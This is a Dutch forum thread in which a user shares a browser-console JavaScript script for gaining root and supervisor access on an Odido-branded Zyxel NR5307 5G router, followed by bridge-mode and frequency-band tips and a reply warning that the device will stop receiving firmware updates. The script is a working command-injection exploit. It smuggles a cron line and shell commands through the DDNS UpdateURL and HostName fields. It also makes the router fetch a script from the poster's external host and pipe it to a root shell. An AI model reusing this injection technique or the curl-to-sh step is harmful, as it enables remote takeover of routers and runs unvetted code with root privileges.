Tips & tricks Zyxel NR5307 5G router

Pagina: 1
Acties:

  • tikketak
  • Registratie: Mei 2026
  • Niet online
Dag allemaal,

Op ons cluppie staat een Klik&Klaar torentje te shinen dat mijn aandacht trok, gehuld in een stoffen hoes. D.w.z. het Zyxel NR5307 5G modem (of router, zo je wilt). Het doet z'n ding en werkt prima. In de verloren uurtjes is het gelukt om root en supervisor toegang te verkrijgen, want waarom ook niet. Na het aanwenden van wat discipline heb ik een script gemaakt om het op een makkelijke manier te reproduceren. Deze deel ik met alle liefde.

Eerst inloggen als admin, daarna het script plakken in de console van je browser.
JavaScript:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
(async () => {
  /*
   * For use on Odido branded Zyxel NR5307 5G routers.
   * This enables SSH access, sets a new password for root and supervisor, disables operator management.
   * 
   * Discussion at https://gathering.tweakers.net/forum/list_messages/2334782
   * 
   * How to use:
   * Open https://192.168.1.1 and login as admin. Press F12, click the Console tab and paste this script.
   *
   * Injects a cron job to execute at the next minute.
   * Lock mechanism to prevent potential parallel executions. Apparently each DDNS save from the web interface spawns another live cron instance, pointing to the same crontab.
   */

  let newPassword = ""; // if left empty, a password will be generated

  const sessionKey = localStorage.getItem("zySessionKey");
  const lockId = crypto.randomUUID().slice(0, 8);

  if (!sessionKey) {
    console.log("No session key");
    return;
  }

  if (newPassword.length > 64) {
    console.log("Password exceeds 64 characters");
    return;
  }

  if (!newPassword) {
    newPassword = simplesecpw();
  }

  newPassword = newPassword.replaceAll("'", "'\\''");

  const response = await fetch("/cgi-bin/DAL?oid=ddns&sessionkey=" + sessionKey,
    {
      method: "PUT",
      headers: {
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
      },
      body: JSON.stringify({
        Enable: true,
        ServiceProvider: "userdefined",
        ConnectionType: "HTTP",
        UpdateURL: "\n* * * * * mkdir /tmp/cron-" + lockId + ".lock && { curl -f -L -s -m 30 https://tikketak.alwaysdata.net/nr5307/set_root.sh | NEW_PASSWORD='" + newPassword + "' sh; :",
        HostName: "; ztr69cli set Device.X_ZYXEL_EXT.DynamicDNS.Enable=0 Device.X_ZYXEL_EXT.DynamicDNS.UpdateURL= Device.X_ZYXEL_EXT.DynamicDNS.HostName= Device.X_ZYXEL_EXT.DynamicDNS.UserName= Device.X_ZYXEL_EXT.DynamicDNS.Password=; rm /var/spool/cron/ddns/root; } #",
        UserName: "x",
        Password: "x"
      }),
    },
  );

  console.clear();

  if (!response.ok) {
    console.log("HTTP error: " + response.status + " " + response.statusText);
    return;
  }

  const data = await response.json();

  if (data.result !== "ZCFG_SUCCESS") {
    console.log("Unexpected result: " + data.result);
    return;
  }

  if (data.sessionkey) {
    localStorage.setItem("zySessionKey", data.sessionkey);
  }

  console.log("This password for root and supervisor will be set at the next minute:");
  console.log(newPassword);

  // simplesecpw by Hanno Boeck
  function simplesecpw() {
    const pwlen = 15;
    const pwchars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    const limit = 256 - (256 % pwchars.length);

    let passwd = "";
    let randval;
    for (let i = 0; i < pwlen; i++) {
      do {
        randval = window.crypto.getRandomValues(new Uint8Array(1))[0];
      } while (randval >= limit);
      passwd += pwchars[randval % pwchars.length];
    }
    return passwd;
  }
})();
In bridge zetten:
Als supervisor kun je nu de router in bridge zetten: Network Setting > Broadband > Cellular IP Passthrough
Deze tab wordt pas zichtbaar nadat je de mesh functie hebt uitgezet. Sluit je eigen router aan op de bovenste poort van de Zyxel (met label LAN1). De firewall van de Zyxel kun je eventueel uitzetten.

Missende frequentiebanden toevoegen:
Om de lage 700MHz, 800MHz en 900MHz banden toe te voegen, voer dit uit vanuit een shell met root:
ztr69cli set Device.Cellular.Interface.1.X_ZYXEL_PreferredBands=B1,B3,B7,B8,B20,B28,B32,B38,B40,B41,B42,B43,n1,n3,n5,n7,n8,n20,n28,n38,n40,n41,n75,n76,n77,n78
B5 (850MHz) heb ik juist weggelaten uit het rijtje, anders kwam er (meestal) geen verbinding tot stand. Een willekeurige band weghalen bleek te helpen, bij ons althans. Daarom gekozen voor B5, want die wordt toch niet gebruikt in Nederland.

Waar tijd het toelaat zal ik dit bericht blijven bijwerken met tips en tricks.

  • vierkant_bewijs
  • Registratie: Mei 2026
  • Laatst online: 10:57
Ohh interessant, thanks voor het delen! Ga het van het weekend eens proberen op die van mij.

Misschien wel handig om als disclaimer toe te voegen: doordat het operator management wordt uitgeschakeld, zullen er geen firmware-updates meer automatisch worden geïnstalleerd. En aangezien er op dit moment nog geen publieke firmware beschikbaar is voor dit model, zullen eventuele toekomstige security fixes ook niet terechtkomen op toestellen waarbij dit is toegepast.

Al vraag ik mij af of er geen mogelijkheid is om de firmware van de FWA515 te installeren, het ziet eruit als hetzelfde model namelijk.